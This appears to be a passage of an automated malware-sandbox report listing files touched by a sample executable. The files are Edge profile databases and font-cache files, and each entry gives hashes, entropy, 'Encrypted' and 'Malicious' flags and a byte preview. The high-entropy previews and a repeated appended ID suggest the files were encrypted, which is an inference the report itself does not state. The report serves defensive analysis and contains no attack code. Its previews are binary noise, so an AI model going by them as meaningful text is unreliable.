Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	667
Entropy (8bit):	7.6439675083855665
Encrypted:	false
SSDEEP:	12:4oEhgh7CBwzgLhaQkxcYk0a+g7hxM/gL3oN0TUpXSvKKj6MJ04IIto5OIqGkOu7O:l2uCBEgLMZ50hu/gDgpXIKKGo0FItuzj
MD5:	ACD5897C704D09489A3E25DA20028B73
SHA1:	F31A9CC4362E5AD0A71185CC817524437AB266B8
SHA-256:	89B00381505E7057669574C982E257961BEB42FF54E723CADD9AC80B5C9428E1
SHA-512:	DA93BFDF6130CB4BF044D3ADE21DE0597DDE72A2AD13F978ACB36B9FD038F14FE7B3C18DC0591DC4F9D19655F228B142D138B4B2DFC603479E26CA367B9057BF
Malicious:	false
Preview:	.To...,...`H;.u.WV...R.$.d.'M...I....,p2..>......Ktn..,>v\.n...^...N...4..{B..?.=0wJ...1.%....%..Q...b.<7W..;...2&f`..w.`x..pKf......{..F._j.d.g....V..>4e.{.}I..r.A.#....\...<u.....=.F....U..<...G..(p.dP..\g..h..a.3.....>.gd.q.9S&....5.._...Luf-.;.._.m+.7.W2.AH/..i1....g.C..XY...v.....,...M....m.i\|..Z.A.(..L#aD~...B....`..@.[.......+;....V..N.B......H..L.EN....$v..H.Q.WL.>k.R.......4J..y.^..A............S>8)..Z....>}A..........U.*B..Rfa...).3D......]......sL.8.0.4-3...2..D.2.....S...G.4G5...2rm.:.P.DJ.H...(.`J...j7.c..lxE.Z..J>..m..{.y..G...4..:.A..%.i.vdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E8F64-1910.pma

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.518609467066548
Encrypted:	false
SSDEEP:	3072:d81+yWA2sKK94vtHI2EJy6T25KFd0ye2BPOEeMw08ZGrkvr:d81tWRsKk4VHIJy6i5KFd0Mj8+C
MD5:	A0A4D57C04097B4177FAF6E38EDCE1D6
SHA1:	D9188812B09868CF9BE2E785BAE0D387B5D7670F
SHA-256:	1B69DA0635B66347FE7E0E8C5E489C62171DDDA2EA9FAE9E6DF93856F0986134
SHA-512:	4D10749A6210FE6907C743E77739F4B5DE68F5CF54C6F41C27890D861813937A7D6D141A1B045F6016BCE537EB143A6BB8E0A95392C3BF9EB5845BBC584ECC32
Malicious:	false
Preview:	...@.....S.`Y.F.vl.....]...&.t..V..Qv.......NE.fl...1Cg.X..`......e..ejm.].l.uo ch.<.w..'hW.N.......O&$.S,.cU.Mi.#..}.....q......@.f.(.A.<..y.M..R9B....~. 8...6Eo.v*"..OA.H\"....... n..)E.p\|F.GZ...C~F...j-q/..$..7....p8....>.q.5!:1..j.m..8V...{#W...}.......U,..O..z.;.'S.T...o..l=f..s2.\rX. .F.<.@^..R.K=...T.m.....c.g.\...a.W..^O...XR....o.. .......vd..p.tu.5.....=5.V\|Pn...%.9a.f..B.....k....r.....h...D.....U5.h..6..$[.T'......J..;...Z8<}.+.\>=.^...u...9\|4X......?F.v.\|3...50...[.,V.e%........>N>......n..fue.,...k..j.#.t......~.$.v...<.:.....JC0%.......h(g...O........[...i.G.=...`.......E..&^...Gw.../.-.@XFbc7.`8).C.......BI,..~-.....#2_....X[z\.Sc2..h..u......h4.GY`,7=.&....S4.....(8S$D/d..\..W.-\|...G.2!...`..n...V...C...\|.>.....,1.\.a.`eQ.\.&VH..4..6...S.]....`..P.%b......\|..q.V.~!..NJ.....@......<. .V..@.<...H]-.o.O.....$.N~...pY#..-6.<qg-8%7.......r......O....qF3.R..w...V.4..N....'..N...Z..2&.^.......n.z.z!Q.?..5x;..I.%./....?.c....}g.iF

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E902E-1634.pma

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5410995581329591
Encrypted:	false
SSDEEP:	3072:sA+OgZaXBKjyMOA59zZSlLnNcpKfomlwe3jqnXz8lHaLJwdEUnaJ96B:f9BQVWlLmpKwmlwe3jqnK6LJ7H6B
MD5:	8CBC01EE97761F2250C4FF615C6C6568
SHA1:	6D7E480CA3091BE8EC2C165D13CF41E05B4F4CC5
SHA-256:	0C9300FC6967899363FD5DFBD65524E4DE26A91A7AF204A17BAB1B73D4997E3E
SHA-512:	64556D11271EEC11F29040BDB6F762973131EF57C784D2B137BAD65AC20AA9D77A045495B9DC13B4D7E607F6DAEF9D946CD08EAF8F12CF50D1EB5B92A5E7C3B5
Malicious:	false
Preview:	...@.#.b.:..W[...aX.i.(.:.f.(..Y.<.-H..X..q.U.p....U.giH.m..'.^J3...r..$>@..nR..:^W......!a'k.9."."t_S....iuK.z_J...P.......bI#.<..>d._..v..;..x....'.....p...Z..Fw0.....?.1..[....i....p..Sl5.^.$m.....l.ZlP..."..5..{KB#.&........3..6.P0.)Ljx.......I.V<?.E.96.7AB...3.....o...@I^F..EI.X../...Ec...K..k..^...}...Z(..VDzL..p.@..../.`b..5..C..a.7C..sq[.Op....:O..Cb.s,..P.M..(....!+.nN.G:..F...t.!..6...c .<..Y.p.l..rH..:t........d.3...?. .......,>R.......7.%.k.M...o.....L.\|.O)@6).^6\...J.......5....D.5?..{.~..Y.ju.6.Ei1DE..1...o.K...)w....:...[,...........!}..-......+..M.\...c..:.la. .w5>.7........W.w./.}..%.....TB{..W/...jmI.P.$mft/y......q^k.u1..~.~I1....A.H...'..&.9D...c.....K..rN...!.%o...U.`.<=........A..i.))_...C..2.LN...=N@.:6...@&...u..B ..m?.v.u-..L5.].;.#..~T.g.2.}.!z.^..-........*..Cw...6.U..`..oEz3A..cG.j.;.c.#..c.A.>~.....o.....z...e.._..F..hH.........l...\...xw.[..".^.rWr.."u.y.F...i..P+.d.c...L....m...}7x....#...x..vK..??..4.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E9065-1B98.pma

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185285231317287
Encrypted:	false
SSDEEP:	3072:3MRAvHFWQ4HwiTfc0UEDACR8RppV9W0zzYHAdnuEW3XMfP:3MRAvFWUNdiACcvSfgdtmA
MD5:	DF269911C8748D7207B06B2E0D485BA8
SHA1:	45BDA1F4F9A2729269ACE0939159A1176F9E866C
SHA-256:	56BC9E87B3FDFF19602F0C8B6A4CCF35BE9798F4E33B3AA4330790B3A30A0029
SHA-512:	EDC69B72C3195F4924686CD06B188782DB60F69CA0F5B79D6C653EBC704264A3EB0F04766B9B18F44A7694A3072E6A8F86F750A717DAEF9FCBFC9C9B34094FD9
Malicious:	false
Preview:	...@.S%.R....:.Q..'P.[....P..J6Bto;...B.H..#7.YI.pP...M....:.aoA...Q4H..A.}I....d..'R9.I....\.hje`B..%.\NWu.N.K....Xb....<..C&NH...6...]cb.X....M.P).....A......%..VIsQ..f..R...W%.....2_w.N..s......'Z~...D."......6.M.....,....$..<A.^..+.=.....g....o.......s..W.e.....9....L..^..?.7.N..".xTh7...jzJ.B.m..m ......H:.C...Zc.c.....p.Y..0.c.Wq_?..I......DA..'.O...e..x{.l.a..sD.."d....&.....{..+.x3......&D.F....q.R..k..2+.\..Z.+....8.U...A..ER..q'Z.Bi..D.X%..E...VLJ`...K..7v....\..6..F..A.p.h.[:..\|D....J.WB..`.{...}-{...y9....I....<V...].QxL...y.+L...G.....f0Ow.oC&.............=......O.....y.-.....\....#F'..a..%.......8 .1[V..o[oUea..{...0;'...W..........h..<529:....AOy..0.....k..^..rW.....v.X.&....9I....g.n.;.3V..I3S^z)...An..Z.L.H.O....6...O.!..,?.l.F.N..`H......\|. ..+?..6....?:...r...}...%.0j.....M..X7..&<...:-..S...9F..^.L...I.x.3a......zk..sV.....j..>.\|..Up....&...:.W.Yx.....vM.8J6E.Z..n7..j..E.....X..j.F..@E.Y.vz.T..!...)...H...h..A...B.q..t3

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	614
Entropy (8bit):	7.626081238490447
Encrypted:	false
SSDEEP:	12:gN+nAgBSJgqoLqyu8nsWTXdJbymK7d8jCEK9mMEJzXqyyPrgcii9a:CQAFJxDyzVTXzvKZ8mEK9REJ1MkbD
MD5:	5360CBD4946E7ED0DBAFB939DEE3C0F4
SHA1:	50D8C61E31BD63542E9C76FB0AFABE4911C37525
SHA-256:	A91D9AE25557A79ECBE512C2A538D725C9966B29BED2FA98D097FF86E2CB9BF9
SHA-512:	C2071C58EBC72EF605024819563413CE7EC009816769E0DE5A364A4766437C40FEBF9B2CE3CA1CAE41992F95C6759F58ED9626B11D83F64C03619D2A3650E844
Malicious:	false
Preview:	sdPC...&&....TM..}`.a.:h..V...>..pJ..7....3.^@.p.G.%.d.t...L......zI.XD.......Hi....>...Cs.e_..n+.....R....L?......x..K(..6_.E+....{....r9.F...7...YJ.".yR.c.N.-.....h@..n/.... ..$.R..h.6.1.H.\..1....95..].....&.GEr.=}.6.{.VLD....D2...]..>.T.<..\@.....n.0.'B;.K.G...@...".t...[.?....l..O...#\..+.N...M.!...z]...R....,. <.Xe....k........".$R...S...i.1....NG.....j.\|..t...8..).....O..:..!.{&.9U.?..'.-Z@..h.......`..mb.p.:lPc....z,gnW..dD..ZG._....t..f..@......X+bg.3..s..$....Z......\|...w..%..u.\.UJ..!"...B\|dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\throttle_store.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.131234454476518
Encrypted:	false
SSDEEP:	6:8xZhOGVPcOuoEoIuV5aW1oXRpA2jNeQja3vMWy4LHM91pFPebugcii96Z:pcNDEZuV5ujA4KRMX7Prgcii9a
MD5:	393CED9A525A1AA5633729A1BCA73271
SHA1:	63BB72B9751CD57B8A71874F53030D32E15EF3E3
SHA-256:	AFAABB58C10C4495C666D62B05968B26F0839D5BB7F24D1AA9C42D7DDA4ACEBF
SHA-512:	438FBCEA1E65D32137E8D62C14D86C7596BCBBFAF9B7DD6ACD0AFA829EDBCE8C91BC2E31FA69DD09B04A7939092313F22E95621A472B40BFC85129A9E641C06C
Malicious:	false
Preview:	level...Kv......1d..8. .y...n.iE.k.A.q.b#.N..B./.+..O.....r...."x..w.;......e.:....(...oE1L0.2.^.I..mg.@.\.F...}s.Ky..NCM^MhM..?..\|.....V...K.\|[...9...7.3...X......z./.Ce.6`;\{.;sR..qJ..\|[oK.X.S]..XD1.F..,\|...TR].e]9......1O5.L..E..L.".!-:[.e...:.....k.o.:EE...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	72091
Entropy (8bit):	7.997632650499768
Encrypted:	true
SSDEEP:	1536:CAl2gm713LUIeBfCqxBqqzW/P72IoX4XL4npriVHxQ4ud+9KllNi:CVT3zAfCqKq5ZoX8V0HxZTAlA
MD5:	8A759E9D9CD367208E251122911245E9
SHA1:	01490A8C69FFE375ECA2472F593E563BE7FACDC6
SHA-256:	58D6FF0E36D2B389D448090547920EA5B97689A9F14FE4A2B8270BE36F04F605
SHA-512:	AF60F64BF834B94CD0FBB978698AE8FE1414FA5E7856A49A9C199B7DA65ABFFDF2960F2F9198EF48D0042BBC6DFE8D2441BD6B5661692529A0E594B2B6D099BB
Malicious:	true
Preview:	....../.`. .\..Uf...RE..,..)...+.0l....R.>w..<B.."y..tb........Hz=Ur.K)..X....U.F..[-..#..2....G......]...`.^..r.%lR.....r....0.s..:^.......'~..p..8_..d.< ...Kh....`j..D.f..k.W..l'.(.......sh.:E......c..S.7u.....b..P8.....%.'...b..]..Z......Lqa.. e1.).....O.....j.]eOd@...%...M...>.........k.d..T>.?.....9Ylb.J.f..........b/.....]zI.N...4...n../}e.Orp.+1..b.pA>]...I...o..Z...{e........0.=....[.I<.....J..i.T..gU.=O@....b.............<.8].9.~...Al~Z}Z.....Fr4..:P.c.>..........."0.\|d....2A.G.....L...x.K:."..0L{,8.t.R..H.X..2....V..L..Ln...V.[y..$.%..X.rO..mZ@...E......G.L...K...Wj#...)....g{".$.3.h.9:B]2.cl.......9.!/d..".fM..i...Z.......=....8^t. .....=.':.p.UU["U.q.....\|.....\|.....n8..jc.P.Q...8.X..o.q.....[......k4..{.....o.mF.L.'SL^"..#..Y..l4V.....5...D.?H.....7.........Y..x.^7...;\|Q.{......<]Q.U......z...{P..S.\.....X.M. g..D7+.A....y....o..h....b...!.*.0...{g6...h.E]Q...@'....gHE...-.[.+.s..).....LMV...O....B?..N.....z.F-.....%6V4~

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	12089
Entropy (8bit):	7.986286836644974
Encrypted:	false
SSDEEP:	192:XvqR9ms/g+V+yN41A2fZ7AV5jSz4uyO49wE/IahdXiOFodmKzguIe/H1ZTjAqxTq:CbV5WBfyPjSsuU9N/IahdXimK3RN/3H8
MD5:	543649BDF79C89B742C4C02CA4A85F6E
SHA1:	24F6122A53D1DA78904552CFDC6E6EFFA62ABFEC
SHA-256:	72FE830028B73D6229A16D26D80190816698A9304F3181E93CA6CD1BCFF1C165
SHA-512:	9B797139BF24A04F5DF48594B1F61CD9150F3E5F571537CBAA2CEF5B43B04380A4DACC823853162F316DFEE5364D4E7A8943506EA4ABF8DEC84ADF8F05A68FB5
Malicious:	false
Preview:	{.. 6.N.wf...1..?SZb..K.P6.`e&xb.5....Ht.}I..Z.......x..2...Ho..5.......}!r...... .&. .L ,.$..<...fv..:!..c.....e.z..~or..z...d.a......8.d...<..t..yMe.#.u....._...'a... ..uS.....c.c..Q...w.M.....%.....Z...44.W..}k..O..Ei.j..c\,z..v.5M....'8[.p^....Z..5\|.A0....6C)s.q.}z.........H.!)W..b.@..zy....W....s...Zv.B....[).;.^.l&.G..hP......A..{.I.:C...I...ij^rf.Cm..A..Re.....78[....k...n"..J........E..-... ?82..W.Ql...2..SJX..t....V.]..9../n...o.z.A.&."..S..y...IORl.g.L.v\|S%....rT....z~t.....q7..N.o..~.jO...........WL...a.T.%.R!.u.u.pB........2..b"O .p..j.o"..f.B....u.L.]y......;..j..}G...6.^...1<T..Mx5..d....D+j.Ml.l.jWu.P...G.z.p..6.;.F.....JyJ!...B9z....9...5.. .!b....n+.......R..#...m.........~.....?.w.<~.+..A....b.KWb...nH.\..u.e&.tB.S.....9....[..7d.x.7..I..c..T.xpV6v...,..+Oz.~...f_.N.C.b.{.}....\|.!Q.cg....4..^.S%.\|1.I..k.a.q.+p..gS.E.'FL#X.p....^{.M.....&.YlX/iwH.....l.F...r.4..:..x...g.s?$u......_.S.'.......,...u.p.<......h".

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989559278844124
Encrypted:	false
SSDEEP:	384:XZCYdCCHldWbU4Ev3WhXOCgsF/nRbdJE0fYx+:JVdCCFdPfWhXOCvNxnfY4
MD5:	0876C035A909A1CB9BB6662453CD4EF7
SHA1:	33F7EB274F86F6A28EC71022AE926D2B51B948E6
SHA-256:	EEF43E80909D01B1DBD594E83CC6EEAC2C895384CD1C7D07ABDBDD3C7191C4D0
SHA-512:	3B02C6F3501197E40E4A546EAD8E94AA0B1831AE02BD2C79B2B6C8F3E89B238D57F6BD4BFDA66BDBA0D7898553A8797DAF14C2D03A685AED9AFABBCD5727717F
Malicious:	false
Preview:	SQLitm...})U.^J. ......"......L......V.rz...}.9...-p1@%...Q...<....O..'u0.+._h>..>.rw....l.8.._.6.#.%1%_..v...C............E....y).Ac.......]...i...,i...-o\...V.1[s.;0Q..:..f6.?Q..%...m>..p.6....e.4\|..4...FZ....[%...........+.6].n"O.(f...b;?.Dn.&qY[.\..>.....a...`...6.o.k"..,./;v.=4HN.&Rn....f<...C.O9$6U...T..UK...\.........@.tl..../../`r.~].........pt[..;...(..1.rG..$.n.i#G.yG....Bvm...Qw........\..>m..&......>.........p..\|..nO..,h........&...p./..d.b.p...9.ATABD...#[............FtE.Z.5VN...lU".H.o..7#..E4.8R..........;9'...." ..a.N.....c.0...#J..`W...SM.. b.a..s...g.y.._..`'....F..$~.F./..;].C.`..aG.o...b.1.#..+.F....{.O^.0M...R./u.g..,..$..YL..'8W.9s......M.&..Z..+.._o..m..\|../...%.c+t..#(2z+...<...!T.......]..%.F...%.@..y..j..Q.....>...L........:%....0..Z.J{zj1..M..R.B..9...<.m....L.\|...O...X[.<-.(.8........cY=V..XdA..s,..Wu.#...4.........{ItF.W.....r.c3.....;.5....m..*..-...#fE8....7...E...X..... ......)..l...6....(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.960025900607112
Encrypted:	false
SSDEEP:	96:LE00NMwTGGqT0OVwFyMlB9fK3XirXdSOgEfv:10NMV5EVlBNAXiXd/Zv
MD5:	D3179AD686823912238A4E27E92EE04D
SHA1:	E69E76EE6837F6BBB7C77C507957F59131A692A2
SHA-256:	05FB1843A1A5F293276526DF4402D970C93E6CD25979E154DE168A6AA37B7A7E
SHA-512:	3D9F634E4C317C6C9551335DB893E4ADC51591290AF9C5DDEA702999344751BD39502BB88DC555400682943EB4A07B0C580ECEE96BBE0C962116633BD2A79F5A
Malicious:	true
Preview:	SQLit.Bs..T._~..m...K..}^o.M.{...{Q.;P..Vd.AC.......4hhX.....'Q[Ly.....>..:`...."..p..i.....]45..M[.......T{_.....\......Bc08.....g.\|......U'.x.:.....J&0.1..._w%(.......Im2.L.'DN......a`z..[....>.jJ.m..qQ.N.cM..'......!.R.......3..!.d.%.,L?.T....5.j0....'x. 2...w.%..om..;....yS.e...<..&.O..G.pi..yT...:P..qV......d...Q?Ul#..J..c.V.Q..`.2"...p@..M.%.....f..K^...FQz7......1...n.....g.......1...Qe."Z..K&...,]s..!.PA)....z..o.~.(XJ...<.....q."]<.n.(....yH3..?.....O...$.U.R..G...&....F.@.kf...j=.....8l~.p...\|.rM...[...P...E.J._v..`l..`c,..z.v....K....(........y.Lk.0..v.\.b..z..S....@?.52..".M.<(.u.;N....?..)..\s~Ct..Yh.v..B.{7@;..?....h.)......t"52.:+...zw....\|.a...dH.... 0...b.o?.......C..c0.....ZDg...9...6.9.....z...w.=.7J./.+....#...o4...M..{.foE.m..o>.l......h....-D;O..YpE....".pV.6.(oh..q.................w..<.>...'Dp.S..rY....l..~..l".B!...a.S>>.q2..]......w;.....J5W.F_*.m`..9....p.X.....GR'K...@...x>....{..i7T.....D......&...P...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994314454003
Encrypted:	true
SSDEEP:	768:he4UdD0/8JsRgm0iLSB1YzG/ucOXW8xspO4R6M7UtT0uHY:hed/JAtLSB1gFc3pOvHtIB
MD5:	9288544319016604ACC16B0C93D4E693
SHA1:	5B73F6EDD2378AA3C5CB40DBF1129CF3CCE00EBD
SHA-256:	0450F3BF474A1AD7FD61553F8C645E61500FA8E494EE82C99AAF335A71E567AF
SHA-512:	39DC7DBF23D31B38BED2AE6F695C3B5E393049AEC17976F6143B5D91DF3107E92A1288A1BB1AADCC059D6611E2AF897B6F287EE94675A2BA817275C8D61E0FAD
Malicious:	true
Preview:	..-.......PKz.gv.p.c.<..-...J....(O....$..I..$..X..=n.7...n.......o.x..R..f>..,.-.'c....K?.._.`..<.....7\|&a.[Y5..i...S..11.>.....\...@.?N..y.......(.0y..n.p.&k....i.1....-.Q...-R..-.5.[T)'....%SL..S..@...{d........o#.$j?....=.K.........Q.p..z.?S..J....\|............R.6.h.c.`.......M..Z.`.{.....M.@..d..p,.m...E.....\|..@2...&%.H...G..p..2.G.x....lVgV..`........m.F\|.\./H,I..h.Y).UG..l.4U..Jw.....T.t.F..T.T.e0.B;f...w.3..x..Lyy...s.O ...).c...^{....u..9.....5..............{.......s.5[....L....h...CL...L......q.. 0....m.\|.p..>..Xz.]S ...m. ..j..V ./.f...../.cc.S....N[....D+O.B.nx.G2.e..\|%..\-..x3...^eXV.!!..*.. R........v_/.B..C' S9..2..1..T..(.`..Y0../...#.3^p..).. ..38E..Y.......^..W.).O...3.-...,....F).SA.0_....$.....w....%F.+..R.7......E...:....q....cg.#...h..t&_.U.)z...F@$Y........h}..o.+.e.):".&..\.^..m.&[.n8...A^..C..N..c......c..nA...3..\xh.E>..h.A..;..Z..-....Y......Hh....{Y..O...s..........l.J...o...."L...&...3.T5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	SQLite Write-Ahead Log, version 4618958
Category:	dropped
Size (bytes):	70406
Entropy (8bit):	7.997460696083987
Encrypted:	true
SSDEEP:	1536:7syoj91mYcYLsECTOxMDXjJXQ+ntH0nB5sst1XldXH/30aFWf+YrRwAXe3:7sN8YkDTVZHYbvl9kRlNu3
MD5:	7B1165D37E5E699196C1EEC2007AC8DC
SHA1:	8FBAC07EC476F327B40ED3984424118C49078977
SHA-256:	AD4BD05A22342DE768BFDD7E1F204E884FF165B10E3381549CC8A04E66460FBB
SHA-512:	74404727FE6F384EA89ECE28B6F9DC7A9D2D77488F46B910598C9CEB8BC17FFAF7149F6CA9591752B245CD8D06FB7B7AE196F04917A265D50F45B55965BDA2A8
Malicious:	true
Preview:	7....Fz......<.[.S.Fw.P.."i...I...U...%..=I.n.x.\.2.6V...&oJ......dF......E.vhY.7Kfd..UE.?v.~Y.....f........D.2.,.h.8..}..n.>.l.. ..(...j'^].i5.m.^.,.._n...v.\|,......b....kn20.'.>u..}.R..J..l].8....<.lH>....v..^......6..m...d..5..l...jO.BF......q.......Ql....-...b.okb.H...D..r.o...T.....~}[F...{.W.....+\.d......s.2.K.k5..WXc...S..C..0......UwdJ..:.....C.......L......[.8.ju..aT6.#.S.@.c.k...h.F=..d.]0...s.rBq.0.Qcc&..........I...\"..^.&.z..K..,.QR..2..).p....;.....Zy..{L.Q.gU....~.........7.Y....k..n.T^...p[..k..u.F..B.....Z.f.6... ....._..C..y.3oP.....f.^.".og.[P.......\|d8\|E..%.>./.TK.rA.Hm..F=./..T..]......).F.kiH..%XS.B.*y.%au^w....F..-...E.._uu3...\t.i}..!..c..w.w^.G..n.j..{.w..lj.....G....6.>.$?..)....'.&Z.4...V.{..\|.a...f...-....Td..y....T..R.......W....C#.V.{.>.h.o..Z..:.to.B^.GO.".E%..d........~..;b].O0.P..=9y.^.:..J-..Y.g........8...=S..CC..,...o~..L....FV..:.w.,........Dz>8..KK\.._x...R ..g....`..i.."..sF..9t.t.u.....,..Z

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2090847
Entropy (8bit):	4.6325720166906805
Encrypted:	false
SSDEEP:	49152:EkcYymTRU6qyKSYLwwXY7AkQ6EATFvHC2yBL/PPGbXs6iUD5LVm4PiVRJQ5lrD2g:PbL
MD5:	DEF2A2A1C091D87EED6F5D8AFAE81AAC
SHA1:	139C18D89FACCE8D655EF369CA6CBC37D83E4C61
SHA-256:	44B6BEDD41BAADFBEDF6A86EA6C08DE6DE99C41C3CF5C33C1628989979D77D20
SHA-512:	B59805EC436541C77612150F565FE0498CA0AA7DFB60C80F4EA91BBC383DCA3C87CA7303A503D9575A4BDB9FFBB726C07D9E0BE455CFF1781B899C792E2501EA
Malicious:	false
Preview:	.....G8v. ..%.p.`T[8KO9.G..M...S.....9..I.z.S.jO._\......\|...=.....L.?O.........."..7..1.r\.fA..!...\|rn..Dv..t....7d^...hs..rI.d,I.C.]$.I.~Z.2..@....3./..%LE<...5d.'.zr_NiQ.v.s9.{...5u^.L ..".Rt&2.y.4#.r...D.....7p......0.G5P!+./.ha))..zA.U.E.....!"..=....2.M...K.9.]....JWT.j...P...~.?...c.U...........~...8..w%.....07._.]...F......h(..l.:.J........s...}...VI..\|..B.%M`y./@.m.B..G.......).Q.W.%....?..../mY:a...Y..u.n>...{....;:..f.D+g.z....e{....dz..X1.N..K.u..`0...:..[B..'P..B\Hjt...8.l..^..W.fN.._.G../.........$.D.^..f....O.."PI6_...3g.......O...2 ..l......\&..p.....0{........S..,&+...HQ1...g..R....Y..0T........`..C.%\|..{..C..0....H...Q.....7.f.`....V^...09:..BW.M3...K..R...ou.^../..H.....(.....FY...Z.?...b4A.[C..fA......S..y..%...........).<...Rz..oT'..jTX..}[..h1......K....\|[...E.5...m...A.........<....,.XHM..z..b..m...Q.V.5.65....n._.3.#.O..^.g^8t!....=.o?........7....MZ..e..Rc......}KA;Se_!.~/......cE8.....OG.$.(.X.@e...9..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.91868782919051
Encrypted:	false
SSDEEP:	48:M1PqNUBFzsnOpTwtgXS+0Dulk6ufI8WK9X1mufD:M1PqyDYOWg+uljU19PL
MD5:	69686E03345B3ABDD487344555625879
SHA1:	E062C94D0303877124C21E4FFD5EFE7538090551
SHA-256:	58C21FB5DD7B8B90F8EFC30FCA031AF9B4F56EEE67D820ED4ECF5F800847F65D
SHA-512:	951B14E263C06E1F7BEE398330FB8E9B88E7AD2F60226C49B9A981373D353951E75B763B942C84E3BEB77648E8DF8EABBC0CC7DBB4275250D2740084D7F357A4
Malicious:	false
Preview:	<?xml`..;...<H..j.hO.....Z...6(...g..H.uMO..8..x.^.../...I.=j .X..o_..z/[.J..8....r.?...._....dS.w^.8.%.7H....D..B....dANa.I:N7dE=..!...z.r...._?.I......B..%9e)..........R....1O.3K4.Qsr..u=......1i...o..k.Y.R_..........h.~...H..##...-..\.....Jc....,.eT...._.M .1d~...oZu.T......~IYw......+...<}<.....K.....&.....x.\|.&.. .....p..:.....J.. h.i.. 0U.=.:(._0.=(.B+D-.'T^....]...b.~d.W/h..j....`&...O.N.......C.0[0.O.x~..S...S.R<pV.._J^j'J,..##.....@Q.6.\C..h..._..M.....f..C.^.h_1..\|oHw...........M#?.....k/.w>b.t..c.2...[l..=..2..m.......?..MT.+.M...[.~H......}m.\.....q...6..7..Z..P.....Z.`..I.......+...... ..1.{.Lm\.&us......G..;...d..}.......J./..z..'^.9.d<.z..^\|?..&.QfV.x.....H.,.=S....ov>e}Qg..K...F...ic.....9.x../vLa....W.0..[..}.V..+l....6....\)#.t.=......3X.,g....Zy../...Z.S$..x..z...ITm..d..m.J.+.........W....*Cr.>.......Z..U_.W3.....Q....d.:.j......_..}...P<..'....{.R7..Tb.7......G.).........n.t.......h...]....4.......

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	503292
Entropy (8bit):	6.445298689349566
Encrypted:	false
SSDEEP:	3072:ITc/wqQAEjexJCroEeOg6FMCUUvDshuTS7Yvp/r5Lu733gETSa6J+6fvubTxZO7q:d8VPeOJfXS7YB/VLqAlac+6f2j
MD5:	B5D6566BB1EE0B704473425D8D2082FB
SHA1:	CA59A370D297CF61195F6534FE250142A2FC2C43
SHA-256:	B321AE949630E5B479E95F6A8A5B3A1ED63A23503C5F96203515FBD9BBBF1A13
